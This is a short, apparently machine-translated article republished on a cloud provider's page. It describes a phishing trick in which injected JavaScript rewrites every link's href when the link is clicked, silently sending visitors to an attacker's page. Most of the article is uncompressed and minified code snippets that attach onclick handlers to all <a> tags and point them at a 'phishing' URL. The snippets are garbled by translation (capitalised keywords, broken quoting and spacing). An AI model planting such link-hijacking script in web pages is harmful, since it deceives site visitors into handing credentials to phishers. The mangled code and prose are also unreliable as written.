JavaScript controls the href attribute for phishing Analysis

Source: Internet
Author: User

A while ago, I found that JavaScript allows temporary changes to the href attribute of the <a> tag. When you change its attribute, you may not see how serious it is when you click it. However, it can trick users into disclosing their details through deception.
// Uncompressed
Var links = document. getElementsByTagName ('A ');
For (var I = 0; I <links. length; I ++ ){
Links [I]. onclick = function (){
This. href = 'HTTP: // freebuf.com/phishing /...... '; // Insert a link (You know)
};
}
 
// Compressed (100 characters exc. the link)
O = document. getElementsByTagName ('A'); for (j = 0; j <o. length; j ++) {o [j]. onclick = function () {this. href = 'HTTP: // freebuf.com/phishing /...... ';}} When you click the link, the javascript code is executed and the href attribute of the <a> tag is changed. Surprisingly, the browser actually navigated the victim to a new link. Victims generally think that it may be just a redirection link. Here we assume that website visitors are used to this redirection phenomenon, and this defect can be exploited for phishing.
This kind of phishing is hard to detect. Many people use JavaScript/jQuery framework combinations to bind <a> tags. The onclick function of each <a> tag is not so easy to unbind. A well-developed hacker can embed malicious JavaScript or inject code, because it is easy to update JavaScript (especially embedded ).
OperaExcept:OperaIt seems to be automatically fixedHrefAttribute
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.